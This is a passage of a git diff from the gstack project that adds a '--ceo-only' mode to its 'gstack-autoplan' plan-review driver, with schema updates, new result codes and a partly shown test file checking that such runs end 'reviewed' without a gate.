TaskRow[] = []; const covered = new Set(); + const blockedBy = state.ceo_only ? [] : [decisionId(state.run, state.gate_rev ?? 1, 'p1')]; let n = 0; for (const f of findings as Array) { if (f.settled_by || covered.has(f.id)) continue; if (f.disposition === 'deferred') { covered.add(f.id); tasks.push({ schema_version: 2, run: state.run, id: `${state.run}-T${++n}`, title: `deferred from ${f.phase}: ${f.title}`, status: 'pending', depends_on: [], findings: [f.id], - blocked_by: [decisionId(state.run, state.gate_rev ?? 1, 'p1')], acceptance: f.resolution ? f.resolution : `the build resolves: ${f.title}`, priority: f.severity, ...(f.file ? { files: [f.file] } : {}), item: f.phase }); + blocked_by: blockedBy, acceptance: f.resolution ? f.resolution : `the build resolves: ${f.title}`, priority: f.severity, ...(f.file ? { files: [f.file] } : {}), item: f.phase }); continue; } if (!['Critical', 'High'].includes(f.severity) || f.disposition === 'rejected') continue; const twin = typeof f.native_counterpart === 'string' ? f.native_counterpart : findings.find(x => x.native_counterpart === f.id)?.id; const ids = twin ? [f.id, twin] : [f.id]; ids.forEach(id => covered.add(id)); - tasks.push({ schema_version: 2, run: state.run, id: `${state.run}-T${++n}`, title: f.title, status: 'blocked_on_decision', depends_on: [], findings: ids, - blocked_by: [decisionId(state.run, state.gate_rev ?? 1, 'p1')], acceptance: f.resolution ? f.resolution : `reviewer re-verifies: ${f.title}`, priority: f.severity, ...(f.file ? { files: [f.file] } : {}), item: f.phase }); + tasks.push({ schema_version: 2, run: state.run, id: `${state.run}-T${++n}`, title: f.title, status: state.ceo_only ? 'pending' : 'blocked_on_decision', depends_on: [], findings: ids, + blocked_by: blockedBy, acceptance: f.resolution ? f.resolution : `reviewer re-verifies: ${f.title}`, priority: f.severity, ...(f.file ? { files: [f.file] } : {}), item: f.phase }); } return tasks; } @@ -100,7 +101,7 @@ function runLog(state: RunState, findings: number, tasks: number, decisions: { t ...[...(state.stops ?? []), ...(state.stop ? [state.stop] : [])].map(s => `Stopped ${s.reason} at ${s.at}: cap ${s.cap_usd ?? 'none'}, spent ${s.spent}, reserved ${s.reserved}, unknown ${s.unknown}${s === state.stop ? '' : ' (lifted)'}`), ]; if (budget.length) lines.push(`Budget: max_rounds ${state.max_rounds ?? 'none'}${state.round_grants ? `, grants ${JSON.stringify(state.round_grants)}` : ''}.`, ...budget, ''); - lines.push(`Gate: ${state.gate_rev ? `gate_rev ${state.gate_rev}, ${decisions.total} decisions (${decisions.pending} pending)${state.gate && typeof (state.gate as any).reply === 'string' ? `; answered "${(state.gate as any).reply}"${typeof (state.gate as any).answered_by === 'string' ? ` answered by ${(state.gate as any).answered_by}` : ''}` : ''}` : 'not reached'}. Findings: ${findings}. Tasks: ${tasks}.`); + lines.push(`Gate: ${state.ceo_only ? 'none (CEO-only run: ceo-review.md, never approved)' : state.gate_rev ? `gate_rev ${state.gate_rev}, ${decisions.total} decisions (${decisions.pending} pending)${state.gate && typeof (state.gate as any).reply === 'string' ? `; answered "${(state.gate as any).reply}"${typeof (state.gate as any).answered_by === 'string' ? ` answered by ${(state.gate as any).answered_by}` : ''}` : ''}` : 'not reached'}. Findings: ${findings}. Tasks: ${tasks}.`); return lines.join('\n') + '\n'; } diff --git a/lib/autoplan-run.ts b/lib/autoplan-run.ts index 59833f2fc..0aec9c815 100644 --- a/lib/autoplan-run.ts +++ b/lib/autoplan-run.ts @@ -19,8 +19,8 @@ import * as fs from 'node:fs'; import * as os from 'node:os'; import * as path from 'node:path'; import { canonicalRows, parseReceipt, parseRecordFindings, parseReviewResult, type CanonicalFinding } from './autoplan-reconcile'; -import { amendmentSteps, applyGuidance, closeDeferred, closePhase, finishGate } from './autoplan-gate'; -import { carryLines } from './autoplan-carry'; +import { amendmentSteps, applyGuidance, closeDeferred, closePhase } from './autoplan-gate'; +import { finishRun } from './autoplan-ceo-only'; import { GSTACK_VERSION } from './autoplan-migrate'; import { driftLine, normalizeFindingFile, reviewHash, scaffold } from './autoplan-plan-text'; import { PHASES, SNAPSHOT_TOOL, attemptFile, bindPromptResult, detectScope, driverFile, extractHeading, phaseOrder, reviewSkillFile, scopeLines, scopeSourceLabel, sectionLoadFor, snapshotTool, writePrompts, type Phase, type Scope, type ScopeFlags } from './autoplan-prompts'; @@ -72,7 +72,7 @@ export function withRunLock(out: string, fn: () => T, opts: { steal?: boolean // --------------------------------------------------------------------------- // init // --------------------------------------------------------------------------- -export interface InitOptions { plan: string; out: string; cwd: string; scope?: ScopeFlags; planHeading?: string; outsideEnabled?: boolean; spendCap?: number | null; sessionKind?: string; deadlineMin?: number; light?: boolean; runId?: string; scaffold?: boolean; maxRounds?: number; carryForward?: boolean; carryCheckCapUsd?: number } +export interface InitOptions { plan: string; out: string; cwd: string; scope?: ScopeFlags; ceoOnly?: boolean; planHeading?: string; outsideEnabled?: boolean; spendCap?: number | null; sessionKind?: string; deadlineMin?: number; light?: boolean; runId?: string; scaffold?: boolean; maxRounds?: number; carryForward?: boolean; carryCheckCapUsd?: number } /** `lines` receives what init itself reports (SCAFFOLDED:). A plan with one section heading missing refuses, or with `scaffold` is reviewed from a scaffolded copy. */ export function initRun(o: InitOptions, lines: string[] = []): RunState { @@ -103,14 +103,14 @@ export function initRun(o: InitOptions, lines: string[] = []): RunState { const restore = path.join(out, FILES.restore); const init = snapshotTool(['init', source, active, restore], o.cwd); const scope = detectScope(active, o.cwd, o.scope ?? {}, path.resolve(o.plan)); - const order = phaseOrder(scope); + const order: Phase[] = o.ceoOnly ? ['ceo'] : phaseOrder(scope); const run = o.runId ?? `${path.basename(out)}-${new Date().toISOString().replace(/[-:T.Z]/g, '').slice(0, 14)}`; // codex_reviews gates the outside voice here, before any dispatch: a refusal is a terminal not_run outcome per phase. const consent = (o.outsideEnabled ?? true) ? outsideConsent({ userInvoked: false }) : undefined; const consentMissing = consent && !consent.allowed ? consent.lines[0] : undefined; const sessionKind = o.sessionKind ?? process.env.GSTACK_SESSION_KIND ?? 'unattended'; const phases: Record = {}; - for (const p of PHASES) if (!order.includes(p)) phases[p] = { skipped: scope.docs_only ? 'docs-only plan' : p === 'design' ? 'no UI scope detected' : 'no developer-facing scope detected', native: { status: 'skipped' }, outside: { status: 'skipped' } }; + for (const p of PHASES) if (!order.includes(p)) phases[p] = { skipped: o.ceoOnly ? 'ceo-only run' : scope.docs_only ? 'docs-only plan' : p === 'design' ? 'no UI scope detected' : 'no developer-facing scope detected', native: { status: 'skipped' }, outside: { status: 'skipped' } }; const state: RunState = { schema_version: 1, run, status: 'running', required_phases: order, phases, artifacts: {}, revision: 0, out, plan_source: init.sourcePlan, active_plan: init.activePlan, restore: init.restorePath, scope, phase_order: order, @@ -120,12 +120,12 @@ export function initRun(o: InitOptions, lines: string[] = []): RunState { deviations: ['autoplan guard: not enforced by this host; publication order is unverified (GUARD_NOT_INSTALLED)'], ...(o.deadlineMin ? { deadline_at: new Date(Date.now() + o.deadlineMin * 60_000).toISOString() } : {}), ...(o.light ? { light: true } : {}), - gstack_version: GSTACK_VERSION, plan_input: input, scope_flags: { ...(o.scope ?? {}) }, + ...(o.ceoOnly ? { ceo_only: true } : {}), gstack_version: GSTACK_VERSION, plan_input: input, scope_flags: { ...(o.scope ?? {}) }, ...(o.planHeading ? { plan_heading: o.planHeading } : {}), ...(scaffolded ? { scaffolded: true } : {}), ...(o.carryForward === false ? { carry_forward: false } : {}), ...(o.carryCheckCapUsd !== undefined ? { carry_check_cap_usd: o.carryCheckCapUsd } : {}), }; fs.writeFileSync(path.join(out, 'timing.json'), JSON.stringify({ schema_version: 1, run, phases: [], started_at: now(), session_kind: state.session_kind }, null, 2) + '\n'); - journal(out, { event: 'init', run, plan_source: source, scope, phase_order: order, ...(consentMissing ? { outside: 'not_run', reason: 'consent_missing' } : {}) }); + journal(out, { event: 'init', run, plan_source: source, scope, phase_order: order, ...(o.ceoOnly ? { ceo_only: true } : {}), ...(consentMissing ? { outside: 'not_run', reason: 'consent_missing' } : {}) }); writeState(state); return state; } @@ -198,7 +198,7 @@ export function nextStep(o: NextOptions): NextResult { const lines: string[] = []; const result: NextResult = { state, attempts: [], lines }; if (state.status === 'incomplete' && state.stop) { lines.push(...stopLines(state)); return result; } - if (state.status === 'gate_pending' || state.status === 'complete' || state.status === 'incomplete' || state.status === 'refused') return result; + if (['gate_pending', 'complete', 'reviewed', 'incomplete', 'refused'].includes(state.status)) return result; if (state.deadline_at && Date.parse(state.deadline_at) < Date.now()) { state.status = 'interrupted'; writeState(state); lines.push(`DEADLINE: passed at ${state.deadline_at}`); return result; } const pending = pendingAmendments(state).map(a => a.decision); if (pending.length) { @@ -210,7 +210,7 @@ export function nextStep(o: NextOptions): NextResult { lines.push(...closeDeferred(state, phase, { reason: `round cap: round ${roundOf(state, phase)} would pass max ${roundCap(state, phase)}`, by: 'runner', cause: 'cap' }).lines); phase = currentPhase(state); } - if (!phase) { finishGate(state); lines.push(...carryLines(state)); writeState(state); return result; } + if (!phase) { lines.push(...finishRun(state)); writeState(state); return result; } const first = !state.phase_order.some(p => state.phases[p]?.snapshot); openPhase(state, phase, o.cwd); const ps = state.phases[phase]!; @@ -394,8 +394,9 @@ export function submitResult(o: SubmitOptions): SubmitResult { function closeAndAdvance(state: RunState, phase: Phase, reconcile?: string): string[] { const close = closePhase(state, phase, { overridesFile: reconcile }); const gated = !currentPhase(state); - if (gated) finishGate(state); else state.status = 'running'; - return [`PHASE_CLOSED: ${phase} confirmed=${close.consensus.confirmed}${close.consensus.unverified ? ` unverified=${close.consensus.unverified}` : ''} disagree=${close.consensus.disagree} new=${close.consensus.new} native_only=${close.consensus.native_only} coverage=${close.consensus.coverage}`, ...(gated ? carryLines(state) : [])]; + const finished = gated ? finishRun(state) : []; + if (!gated) state.status = 'running'; + return [`PHASE_CLOSED: ${phase} confirmed=${close.consensus.confirmed}${close.consensus.unverified ? ` unverified=${close.consensus.unverified}` : ''} disagree=${close.consensus.disagree} new=${close.consensus.new} native_only=${close.consensus.native_only} coverage=${close.consensus.coverage}`, ...finished]; } /** @@ -514,15 +515,15 @@ export function resumeRun(out: string): ResumeResult { if (ps.native?.status === 'completed' && voiceTerminal(ps.outside)) closePhase(state, phase, {}); } const stopped = resumeStop(state); - const gated = !currentPhase(state) && !['gate_pending', 'amend_pending', 'complete', 'incomplete', 'refused'].includes(state.status); - if (gated) finishGate(state); - else if (state.status === 'interrupted' || state.status === 'running' || state.status === 'awaiting_result') { + const gated = !currentPhase(state) && !['gate_pending', 'amend_pending', 'complete', 'reviewed', 'incomplete', 'refused'].includes(state.status); + const finished = gated ? finishRun(state) : []; + if (!gated && (state.status === 'interrupted' || state.status === 'running' || state.status === 'awaiting_result')) { const anyOpen = state.phase_order.some(p => (['native', 'outside'] as const).some(v => openAttempt(voiceState(state, p, v)))); state.status = anyOpen ? 'awaiting_result' : 'running'; } journal(out, { event: 'resumed', unknown, rebound, status: state.status }); writeState(state); - const lines = [...recovered, ...stopped, ...(gated ? carryLines(state) : []), `RESUMED: run=${state.run} status=${state.status} execution_unknown=${unknown.length} rebound=${rebound.length}`]; + const lines = [...recovered, ...stopped, ...finished, `RESUMED: run=${state.run} status=${state.status} execution_unknown=${unknown.length} rebound=${rebound.length}`]; for (const a of unknown) lines.push(`EXECUTION_UNKNOWN: ${a}`); return { state, unknown, rebound, lines }; } @@ -546,6 +547,6 @@ export function statusLines(state: RunState): string[] { for (const d of state.capped_deltas ?? []) lines.push(`CAPPED_DELTA: v${d.k} ${d.phase} +${d.added} -${d.removed} ${d.status}`); return lines; } -export const TERMINAL: readonly RunStatus[] = ['complete', 'gate_pending', 'amend_pending', 'incomplete', 'refused', 'interrupted']; +export const TERMINAL: readonly RunStatus[] = ['complete', 'reviewed', 'gate_pending', 'amend_pending', 'incomplete', 'refused', 'interrupted']; export { SNAPSHOT_TOOL, RunError, FILES, readState, writeState, readJournal, journal }; export type { RunState, Voice, VoiceState, AttemptState }; diff --git a/lib/autoplan-scope.ts b/lib/autoplan-scope.ts index 736bcf437..966810338 100644 --- a/lib/autoplan-scope.ts +++ b/lib/autoplan-scope.ts @@ -65,7 +65,7 @@ export function detectDocsOnly(implementationPlan: string, root: string): DocsOn export interface ScopeFlags { ui?: boolean; developerTool?: boolean; agentPrimary?: boolean; dx?: boolean; docsOnly?: boolean } export const SCOPE_FLAG_TOKENS = ['--ui', '--no-ui', '--no-dx', '--developer-tool', '--agent-primary', '--docs-only'] as const; -const MARKER_RE = /^\s*$/; +export const MARKER_RE = /^\s*$/; export function scopeTokens(f: ScopeFlags): string[] { return [...(f.ui === true ? ['--ui'] : f.ui === false ? ['--no-ui'] : []), ...(f.dx === false ? ['--no-dx'] : []), diff --git a/lib/autoplan-state.ts b/lib/autoplan-state.ts index 1709a9097..39f352cf6 100644 --- a/lib/autoplan-state.ts +++ b/lib/autoplan-state.ts @@ -72,6 +72,8 @@ export interface RunState extends RunManifest { dispatches?: DispatchCounts; est_input_tokens?: number; /** Carry-forward (lib/autoplan-carry.ts): false with --no-carry-forward; the per-gate cap on the delta check; the latest carry decision. */ carry_forward?: boolean; carry_check_cap_usd?: number; carry?: import('./autoplan-carry').CarryRecord; + /** `next --ceo-only` (lib/autoplan-ceo-only.ts): the CEO phase alone, no gate, ends `reviewed`; never set by a scope marker. */ + ceo_only?: boolean; } export const TERMINAL_VOICE_STATUSES = ['completed', 'disabled', 'unavailable', 'failed', 'skipped'] as const; diff --git a/lib/headless-artifacts.ts b/lib/headless-artifacts.ts index 328295150..433bec17b 100644 --- a/lib/headless-artifacts.ts +++ b/lib/headless-artifacts.ts @@ -20,7 +20,7 @@ export type Severity = 'Critical' | 'High' | 'Medium' | 'Low' | 'Informational'; export type Disposition = 'open' | 'accepted' | 'partially_accepted' | 'rejected' | 'deferred' | 'fixed'; export type Voice = 'native' | 'outside'; export type DecisionKind = 'auto' | 'approval' | 'user_challenge'; -export type DecisionStatus = 'pending' | 'approved' | 'overridden' | 'rejected'; +export type DecisionStatus = 'pending' | 'approved' | 'overridden' | 'rejected' | 'auto_kept'; export type TaskStatus = 'pending' | 'ready' | 'blocked_on_dependency' | 'blocked_on_decision' | 'in_progress' | 'done'; export type VoiceStatus = 'completed' | 'unavailable' | 'disabled' | 'skipped' | 'failed' | 'pending' | 'running'; export type ResultStatus = 'complete' | 'reviewed' | 'gate_pending' | 'amend_pending' | 'incomplete' | 'interrupted' | 'refused'; @@ -122,7 +122,7 @@ export interface ShipReceipt { } export const RESULT_STATUSES: readonly ResultStatus[] = ['complete', 'reviewed', 'gate_pending', 'amend_pending', 'incomplete', 'interrupted', 'refused']; -const TERMINAL_RUN: readonly string[] = ['complete', 'gate_pending', 'amend_pending', 'refused', 'incomplete']; +const TERMINAL_RUN: readonly string[] = ['complete', 'reviewed', 'gate_pending', 'amend_pending', 'refused', 'incomplete']; const TERMINAL_VOICE: readonly string[] = ['completed', 'unavailable', 'disabled', 'skipped', 'failed']; const RESOLVED: readonly string[] = ['accepted', 'partially_accepted', 'rejected', 'deferred', 'fixed']; @@ -176,7 +176,7 @@ export const ARTIFACT_SCHEMAS = { required: ['schema_version', 'run', 'id', 'title', 'options', 'recommended', 'kind', 'status', 'gate_rev'], properties: { schema_version: { const: 1 }, run: str, id: str, label: str, title: str, options: strList, recommended: nullableStr, - kind: { enum: ['auto', 'approval', 'user_challenge'] }, status: { enum: ['pending', 'approved', 'overridden', 'rejected'] }, + kind: { enum: ['auto', 'approval', 'user_challenge'] }, status: { enum: ['pending', 'approved', 'overridden', 'rejected', 'auto_kept'] }, default_if_unanswered: nullableStr, gate_rev: { type: 'integer', minimum: 1 }, phase: str, chosen: nullableStr, answered_at: str, reply: str, source: str, cost: str, recommended_basis: str, changes: str, origin: str, carried_from: str, chosen_text: str, @@ -207,7 +207,7 @@ export const ARTIFACT_SCHEMAS = { required: ['schema_version', 'run', 'status', 'required_phases', 'phases', 'artifacts'], properties: { schema_version: { const: 1 }, run: str, - status: { enum: ['complete', 'gate_pending', 'amend_pending', 'incomplete', 'interrupted', 'refused', 'awaiting_result', 'running'] }, + status: { enum: ['complete', 'reviewed', 'gate_pending', 'amend_pending', 'incomplete', 'interrupted', 'refused', 'awaiting_result', 'running'] }, base: str, host: str, session_kind: str, required_phases: strList, phases: { type: 'object', description: 'phase id → { snapshot, native, outside }', properties: {} }, counts: { type: 'object', description: 'decisions, decisions_pending, findings, tasks: each must equal the rows in its file' }, diff --git a/lib/result-codes-autoplan.ts b/lib/result-codes-autoplan.ts new file mode 100644 index 000000000..b03d5f835 --- /dev/null +++ b/lib/result-codes-autoplan.ts @@ -0,0 +1,26 @@ +/** + * Result codes for the CEO-only driver run (`gstack-autoplan next --ceo-only`, + * lib/autoplan-ceo-only.ts). Kept beside lib/result-codes.ts, which spreads + * this table into RESULT_CODES; the same rules apply: one stable + * docs/troubleshooting.md anchor, a summary and a fix clause each. The run is + * documented in docs/unattended.md#ceo-only-runs. + */ +import type { ResultCode } from './result-codes'; + +export const AUTOPLAN_RESULT_CODES = { + CEO_ONLY_CONFLICT: { + anchor: 'ceo-only-conflict', + summary: '--ceo-only was combined with a flag that adds a phase (--ui, --developer-tool, --agent-primary), or a plan\'s scope marker names it', + fix: 'drop the conflicting flag, or run without --ceo-only for the full review; --ceo-only goes on the command line of the first next only, never in a gstack-autoplan-scope marker', + }, + CEO_ONLY_AFTER_INIT: { + anchor: 'ceo-only-after-init', + summary: 'next --ceo-only named a run directory that already holds a full review run', + fix: 'a run keeps the mode it started with: pass --ceo-only on the first next with a new --out directory', + }, + CEO_ONLY_NO_GATE: { + anchor: 'ceo-only-no-gate', + summary: 'answer, recommend, revise and approvals import need a gate or an approvable run, and a CEO-only run has neither: it ends status=reviewed and is never approved', + fix: 'read /ceo-review.md; to get a gate and an approval, start a full review with gstack-autoplan next --out --plan (no --ceo-only)', + }, +} as const satisfies Record; diff --git a/lib/result-codes.ts b/lib/result-codes.ts index 2dece5f82..29217ed44 100644 --- a/lib/result-codes.ts +++ b/lib/result-codes.ts @@ -15,6 +15,7 @@ import { CAPY_RESULT_CODES } from './result-codes-capy'; import { BUDGET_RESULT_CODES } from './result-codes-budget'; import { EVAL_RESULT_CODES } from './result-codes-eval'; import { PLAN_RESULT_CODES } from './result-codes-plan'; +import { AUTOPLAN_RESULT_CODES } from './result-codes-autoplan'; export interface ResultCode { /** Stable `` in docs/troubleshooting.md. */ @@ -770,6 +771,7 @@ export const RESULT_CODES = { ...BUDGET_RESULT_CODES, ...EVAL_RESULT_CODES, ...PLAN_RESULT_CODES, + ...AUTOPLAN_RESULT_CODES, } as const satisfies Record; export type ResultCodeName = keyof typeof RESULT_CODES; diff --git a/package.json b/package.json index fa24179e7..dbf39a65b 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "gstack", - "version": "1.92.57", + "version": "1.92.58", "description": "Garry's Stack — Claude Code skills + fast headless browser. One repo, one install, entire AI engineering workflow.", "license": "MIT", "type": "module", diff --git a/scripts/pr-dependencies.ts b/scripts/pr-dependencies.ts index b42926c9c..edde96373 100644 --- a/scripts/pr-dependencies.ts +++ b/scripts/pr-dependencies.ts @@ -89,7 +89,7 @@ export const SELECTION_DATA_MODULES: readonly string[] = [ // The build entry list: every compiled binary, which skills reach through their `--outfile` path instead. 'scripts/build.sh', // The reason-code table: its `fix:` prose names the command a person reruns, not a file the module consumes. - 'lib/result-codes.ts', 'lib/result-codes-release.ts', 'lib/result-codes-capy.ts', 'lib/result-codes-budget.ts', 'lib/result-codes-eval.ts', 'lib/result-codes-plan.ts', + 'lib/result-codes.ts', 'lib/result-codes-release.ts', 'lib/result-codes-capy.ts', 'lib/result-codes-budget.ts', 'lib/result-codes-eval.ts', 'lib/result-codes-plan.ts', 'lib/result-codes-autoplan.ts', // The exercised-path map: observed commands per case, read only by exercisedConsumers() (shadow data; a change selects no paid case). 'test/helpers/exercised-commands.json', ]; diff --git a/scripts/resolvers/autoplan-driver.ts b/scripts/resolvers/autoplan-driver.ts index 260d7b2d4..d0cb97143 100644 --- a/scripts/resolvers/autoplan-driver.ts +++ b/scripts/resolvers/autoplan-driver.ts @@ -17,7 +17,7 @@ import type { ResolverFn } from './types'; /** One entry per command line the loop runs, as the field-wave plan specifies them. */ export const AUTOPLAN_DRIVER_COMMANDS: Array<{ cmd: string; does: string }> = [ - { cmd: 'gstack-autoplan next --out --plan [scope flags] [--light] [--spend-cap ] [--max-rounds ] [--estimate-usd ] [--scaffold]', does: `first call: init the run, print PHASE:, SCOPE:, DRIVER: and one ATTEMPT: per voice; --max-rounds caps review rounds per phase (default ${DEFAULT_MAX_ROUNDS} unattended); a run with --spend-cap, in any session kind (or any unattended Capy run), reserves ${DEFAULT_HOST_ESTIMATE_USD.toFixed(2)} per voice for each attempt, so the cap binds; --estimate-usd sets that reservation and the run keeps it for later phases` }, + { cmd: 'gstack-autoplan next --out --plan [scope flags] [--light] [--spend-cap ] [--max-rounds ] [--estimate-usd ] [--scaffold] [--ceo-only]', does: `first call: init the run, print PHASE:, SCOPE:, DRIVER: and one ATTEMPT: per voice; --max-rounds caps review rounds per phase (default ${DEFAULT_MAX_ROUNDS} unattended); a run with --spend-cap, in any session kind (or any unattended Capy run), reserves ${DEFAULT_HOST_ESTIMATE_USD.toFixed(2)} per voice for each attempt, so the cap binds; --estimate-usd sets that reservation and the run keeps it for later phases; --ceo-only (command line only, never a scope marker) reviews CEO alone and ends \`status=reviewed\` with \`/ceo-review.md\` (\`REVIEWED:\`): no gate, and the gate verbs refuse it (\`CEO_ONLY_NO_GATE\`)` }, { cmd: 'gstack-autoplan run --out --plan --native-model --outside-model --native-runner api --runner api [--max-tokens ] [--spend-cap ]', does: 'hosts without subagents: one command calls both models directly (ANTHROPIC_API_KEY, OPENAI_API_KEY) and loops next/submit to the gate; a response cut off at the output limit is reported truncated, so raise --max-tokens (default 16384 for both providers; OpenAI counts reasoning tokens toward it); each api call reserves its priced worst case (a model with no price reserves the per-voice default under a cap), a native call that went out but bound no result settles at its usage, or its full reservation when the usage is unknown, and a failed outside call stays counted at its reservation' }, { cmd: 'gstack-autoplan next --out [--redispatch ]', does: 'later calls: open the next phase or reprint open attempts; never redispatches on its own' }, { cmd: 'gstack-autoplan submit --out --phase

--voice native|outside --record --model [--attempt ]', does: 'bind a free-form review record (canonical fence, one findings table or list, or `No findings.`)' }, diff --git a/test/autoplan-ceo-only-driver.test.ts b/test/autoplan-ceo-only-driver.test.ts new file mode 100644 index 000000000..db7b56bfc --- /dev/null +++ b/test/autoplan-ceo-only-driver.test.ts @@ -0,0 +1,303 @@ +/** + * GST-537 PR 2: `gstack-autoplan next --ceo-only`, the driver twin of + * `/autoplan --ceo-only`. The run opens only the CEO phase, ends + * status=reviewed with ceo-review.md and auto_kept decision rows, never writes + * a gate or approves, keeps its artifacts schema-valid, and the verbs that need + * a gate refuse it with a coded line. The flag is command-line only. + */ +import { afterAll, describe, expect, test } from 'bun:test'; +import { spawnSync } from 'node:child_process'; +import * as crypto from 'node:crypto'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; +import { importAutoplan } from '../lib/approval-record'; +import { ROOT, SMALL_PLAN, attemptsOf, autoplan, env, journal, readRun, resultOf, review, runPhase, startSmallRun } from './helpers/autoplan-run-fixture'; + +const TMP = fs.mkdtempSync(path.join(os.tmpdir(), 'ap-ceo-only-')); +afterAll(() => fs.rmSync(TMP, { recursive: true, force: true })); +const dir = (name: string) => path.join(TMP, name); +const rows = (file: string) => fs.readFileSync(file, 'utf8').split('\n').filter(Boolean).map(l => JSON.parse(l)); + +describe('next --ceo-only runs the CEO phase alone and ends reviewed', () => { + const out = startSmallRun(dir('reviewed'), ['--ceo-only']); + const phase = runPhase(out, 'ceo'); + const run = readRun(out); + + test('init records the mode and skips every other phase', () => { + expect(run.ceo_only).toBe(true); + expect(run.phase_order).toEqual(['ceo']); + expect(run.required_phases).toEqual(['ceo']); + for (const p of ['design', 'eng', 'dx']) expect(run.phases[p].skipped).toBe('ceo-only run'); + expect(journal(out).find(r => r.event === 'init').ceo_only).toBe(true); + }); + + test('closing CEO ends status=reviewed with the report, and no gate', () => { + expect(phase.outside.status).toBe(0); + expect(phase.outside.stdout).toContain('REVIEWED: ceo-only'); + expect(phase.outside.stdout.trimEnd().split('\n').at(-1)).toBe(`GSTACK_RESULT: skill=autoplan status=reviewed run=${out}`); + expect(phase.outside.stdout).not.toContain('GATE:'); + expect(run.status).toBe('reviewed'); + expect(run.gate_rev).toBeUndefined(); + expect(fs.existsSync(path.join(out, 'gate.json'))).toBe(false); + expect(journal(out).some(r => r.event === 'gate_written')).toBe(false); + }); + + test('ceo-review.md has the shared report sections and is hashed in run.json', () => { + const report = fs.readFileSync(path.join(out, 'ceo-review.md'), 'utf8'); + expect(report.split('\n')[0]).toBe('# CEO-only review: Retry backoff for the webhook worker'); + expect(report).toContain('Not approved.'); + for (const h of ['## User challenges (direction kept)', '## Scope added', '## Conservative choices', '## Findings', '## Decision Audit Trail']) expect(report).toContain(h); + expect(report).toContain('Docs link the quickstart'); + const sha = crypto.createHash('sha256').update(fs.readFileSync(path.join(out, 'ceo-review.md'))).digest('hex'); + expect(run.artifacts['ceo-review.md']).toEqual({ path: 'ceo-review.md', sha256: sha }); + }); + + test('decision rows are auto, auto_kept, the direction kept and unanswered; tasks name no p1', () => { + const decisions = rows(path.join(out, 'decisions.jsonl')); + expect(decisions.length).toBeGreaterThan(0); + for (const d of decisions) { + expect(d.kind).toBe('auto'); + expect(d.status).toBe('auto_kept'); + expect(d.chosen).toBe('a'); + expect(d.answered_at).toBeUndefined(); + expect(d.id.endsWith('-p1')).toBe(false); + } + const tasks = rows(path.join(out, 'tasks.jsonl')); + expect(tasks.length).toBeGreaterThan(0); + for (const t of tasks) { expect(t.blocked_by).toEqual([]); expect(t.status).not.toBe('blocked_on_decision'); } + }); + + test('an open Critical or High finding is decided by nobody: no decision row, still in the report and the tasks for the owner', () => { + const decisions = rows(path.join(out, 'decisions.jsonl')); + expect(decisions.some(d => /^(Critical|High): /.test(d.title))).toBe(false); + const report = fs.readFileSync(path.join(out, 'ceo-review.md'), 'utf8'); + expect(report).toMatch(/\[Critical\] The install check lies by omission .*disposition: /); + expect(report).toMatch(/\[High\] Gate reuse on tree equality alone is unsound .*disposition: /); + expect(report).not.toMatch(/(Critical|High): .*kept/); + const tasks = rows(path.join(out, 'tasks.jsonl')); + expect(tasks.some(t => t.title === 'Gate reuse on tree equality alone is unsound' && t.priority === 'High')).toBe(true); + }); + + test('the artifact set validates and the plan is untouched', () => { + const v = spawnSync('bun', [path.join(ROOT, 'bin', 'gstack-artifact'), 'validate', path.join(out, 'run.json')], { cwd: ROOT, env: env(), encoding: 'utf8', timeout: 60_000 }); + expect(v.stdout).toContain('ARTIFACT_VALID: '); + expect(v.stdout).toContain('status=reviewed'); + expect(v.status).toBe(0); + expect(fs.readFileSync(path.join(dir('reviewed'), 'plan.md'), 'utf8')).toBe(SMALL_PLAN); + }); + + test('a later next or resume keeps reviewed and writes no gate', () => { + const next = autoplan(['next', '--out', out]); + expect(next.status).toBe(0); + expect(next.stdout).toContain('status=reviewed'); + const resume = autoplan(['resume', '--out', out]); + expect(resume.status).toBe(0); + expect(resume.stdout).toContain('status=reviewed'); + expect(fs.existsSync(path.join(out, 'gate.json'))).toBe(false); + }); + + test('answer, recommend and revise refuse CEO_ONLY_NO_GATE', () => { + const plan = path.join(dir('reviewed'), 'plan.md'); + for (const args of [['answer', '--gate-rev', '1', '--reply', 'rec', '--by', 'human'], ['answer', '--reply', 'rec', '--by', 'human'], + ['recommend', '--gate-rev', '1', '--item', 'd1', '--option', 'b', '--basis', 'x'], ['revise', '--plan', plan]]) { + const r = autoplan([args[0]!, '--out', out, ...args.slice(1)]); + expect(r.status, args.join(' ')).toBe(3); + expect(r.stderr).toContain('(CEO_ONLY_NO_GATE)'); + } + expect(readRun(out).status).toBe('reviewed'); + }); + + test('approvals import refuses a CEO-only run and an unreadable one', () => { + expect(importAutoplan(out, 'main')).toMatchObject({ code: 'CEO_ONLY_NO_GATE' }); + const bad = dir('bad-run'); + fs.mkdirSync(bad, { recursive: true }); + fs.writeFileSync(path.join(bad, 'decisions.jsonl'), ''); + fs.writeFileSync(path.join(bad, 'run.json'), '{not json'); + expect(importAutoplan(bad, 'main')).toMatchObject({ code: 'ARTIFACT_INVALID_JSON' }); + }); +}); + +describe('a budget-stopped CEO-only run recovers the way a full run does', () => { + const stopped = (name: string, extra: Record = {}) => { + fs.mkdirSync(dir(name), { recursive: true }); + fs.writeFileSync(path.join(dir(name), 'plan.md'), SMALL_PLAN); + const out = path.join(dir(name), 'run'); + const first = autoplan(['next', '--out', out, '--plan', path.join(dir(name), 'plan.md'), '--no-ui', '--ceo-only', '--spend-cap', '1', '--estimate-usd', '5'], { env: env(extra) }); + expect(first.status).toBe(3); + expect(first.stderr).toContain('(SPEND_CAP_EXCEEDED)'); + expect(readRun(out).status).toBe('incomplete'); + return out; + }; + + test('budget then resume lifts the stop, and the run ends reviewed', () => { + const out = stopped('stopped-budget'); + const budget = autoplan(['budget', '--out', out, '--spend-cap', '50', '--by', 'human']); + expect(budget.status, budget.stderr).toBe(0); + expect(autoplan(['resume', '--out', out]).stdout).toContain('STOP_LIFTED'); + runPhase(out, 'ceo'); + expect(readRun(out).status).toBe('reviewed'); + expect(fs.existsSync(path.join(out, 'ceo-review.md'))).toBe(true); + }); + + test('close --deferred finishes it reviewed, with the report and no gate', () => { + const out = stopped('stopped-close'); + const close = autoplan(['close', '--out', out, '--phase', 'ceo', '--deferred', 'out of budget', '--by', 'human']); + expect(close.status, close.stderr).toBe(0); + expect(close.stdout).toContain('REVIEWED: ceo-only'); + 